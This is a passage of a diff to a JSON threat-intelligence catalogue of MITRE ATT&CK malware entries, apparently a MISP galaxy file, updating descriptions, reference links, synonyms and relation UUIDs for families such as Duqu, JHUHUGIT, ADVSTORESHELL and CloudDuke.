"refs": [ + "https://attack.mitre.org/software/S0073", + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + ], + "synonyms": [ + "ASPXSpy", + "ASPXTool" + ] + }, + "related": [ + { + "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2", + "value": "ASPXSpy - S0073" + }, + { + "description": "[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)", + "meta": { + "external_id": "S0038", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0038", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + ], + "synonyms": [ + "Duqu" + ] }, "related": [ { @@ -1623,206 +8335,352 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "Duqu" - }, - { - "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0064", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" - ], - "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c" - }, - "value": "ELMER" - }, - { - "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.[[Citation: PWC Cloud Hopper Technical Annex April 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0152", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" - ], - "uuid": "c542f369-f06d-4168-8c84-fdf5fc7f2a8d" - }, - "related": [ - { - "dest-uuid": "2f1a9fd0-3b7c-4d77-a358-78db13adbe78", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" }, { - "dest-uuid": "c9b4ec27-0a43-4671-a967-bcac5df0e056", + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "438c6d0f-03f0-4b49-89d2-40bf5349c3fc", + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "EvilGrab" - }, - { - "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0142", - "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" - ], - "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "9991ace8-1a62-498c-a9ef-19d474deb505", + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "StreamEx" + "uuid": "68dca94f-c11d-421e-9287-7c501108e18c", + "value": "Duqu - S0038" }, { - "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.[[Citation: Lotus Blossom Dec 2015]]", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0082", - "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + "external_id": "S0083", + "mitre_platforms": [ + "Windows" ], - "uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1" - }, - "value": "Emissary" - }, - { - "description": "Epic is a backdoor that has been used by Turla.[[Citation: Kaspersky Turla]]\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0091", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" + "https://attack.mitre.org/software/S0083", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ - "Epic", - "Tavdig", - "Wipbot", - "WorldCupSec", - "TadjMakhal" - ], - "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1" + "Misdat" + ] }, "related": [ { - "dest-uuid": "36c0faf0-428e-4e7f-93c5-824bb0495ac9", + "dest-uuid": "d1597713-fe7a-45bd-8b59-1a13c7e097d8", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "6b6cf608-cc2c-40d7-8500-afca3e35e7e4", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "Epic" - }, - { - "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]\n\nAliases: Elise, BKDR_ESILE, Page", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0081", - "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" - ], - "synonyms": [ - "Elise", - "BKDR_ESILE", - "Page" - ], - "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913" - }, - "related": [ - { - "dest-uuid": "d70fd29d-590e-4ed5-b72f-6ce0142019c6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "3477a25d-e04b-475e-8330-39f66c10cc01", + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Elise" + "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "value": "Misdat - S0083" }, { - "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]", + "description": "[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)", "meta": { + "external_id": "S0309", "refs": [ - "https://attack.mitre.org/wiki/Software/S0076", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "bb3c1098-d654-4620-bf40-694386d28921" - }, - "value": "FakeM" - }, - { - "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]\n\nAliases: Flame, Flamer, sKyWIper", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0143", - "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/" + "https://attack.mitre.org/software/S0309", + "https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html", + "http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534" ], "synonyms": [ - "Flame", - "Flamer", - "sKyWIper" - ], - "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498" + "Adups" + ] }, "related": [ { - "dest-uuid": "d7963066-62ed-4494-9b8c-4b8b691a7c82", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Flame" + "uuid": "f6ac21b6-2592-400c-8472-10d0e2f1bfaf", + "value": "Adups - S0309" }, { - "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.[[Citation: Kaspersky Sofacy]][[Citation: F-Secure Sofacy 2015]][[Citation: ESET Sednit Part 1]][[Citation: FireEye APT28 January 2017]]\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)", "meta": { + "external_id": "S0044", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0044", + "https://attack.mitre.org/software/S0044", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/", "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", - "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/", - "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/" + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" ], "synonyms": [ "JHUHUGIT", "Seduploader", "JKEYSKW", "Sednit", - "GAMEFISH" - ], - "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2" + "GAMEFISH", + "SofacyCarberp" + ] }, "related": [ { @@ -1859,204 +8717,1496 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "JHUHUGIT" - }, - { - "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0156", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "uuid": "321e2bd3-2d98-41d6-8402-3949f514c548" - }, - "related": [ - { - "dest-uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "KOMPROGO" - }, - { - "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0131", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca" - }, - "value": "TINYTYPHON" - }, - { - "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0150", - "https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html" - ], - "uuid": "6e45f758-7bd9-44b8-a21c-7309614ae176" - }, - "related": [ - { - "dest-uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" }, { - "dest-uuid": "4df1b257-c242-46b0-b120-591430066b6f", + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "POSHSPY" + "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2", + "value": "JHUHUGIT - S0044" }, { - "description": "SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)", "meta": { + "external_id": "S0045", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0063", - "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + "https://attack.mitre.org/software/S0045", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" ], "synonyms": [ - "SHOTPUT", - "Backdoor.APT.CookieCutter", - "Pirpi" - ], - "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb" + "ADVSTORESHELL", + "AZZY", + "EVILTOSS", + "NETUI", + "Sedreco" + ] }, "related": [ { - "dest-uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a", + "dest-uuid": "6374fc53-9a0d-41ba-b9cf-2a9765d69fbb", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "SHOTPUT" - }, - { - "description": "Hikit is malware that has been used by Axiom for late-stage [[persistence]] and [[exfiltration]] after the initial compromise.[[Citation: Axiom]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0009", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf" - ], - "uuid": "95047f03-4811-4300-922e-1ba937d53a61" - }, - "related": [ + }, { - "dest-uuid": "06953055-92ed-4936-8ffd-d9d72ab6bef6", + "dest-uuid": "21ab9e14-602a-4a76-a308-dbf5d6a91d75", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Hikit" + "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73", + "value": "ADVSTORESHELL - S0045" }, { - "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]\n\nAliases: PoisonIvy, Poison Ivy", + "description": "[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)", "meta": { + "external_id": "S0054", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0012", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + "https://attack.mitre.org/software/S0054", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/" ], "synonyms": [ - "PoisonIvy", - "Poison Ivy" - ], - "uuid": "b42378e0-f147-496f-992a-26a49705395b" + "CloudDuke", + "MiniDionis", + "CloudLook" + ] }, "related": [ { - "dest-uuid": "4e104fef-8a2c-4679-b497-6e86d7d47db0", + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54", + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - }, - { - "dest-uuid": "e336aeba-b61a-44e0-a0df-cd52a5839db5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" } ], - "value": "PoisonIvy" + "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df", + "value": "CloudDuke - S0054" }, { - "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]", + "description": "[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0015", - 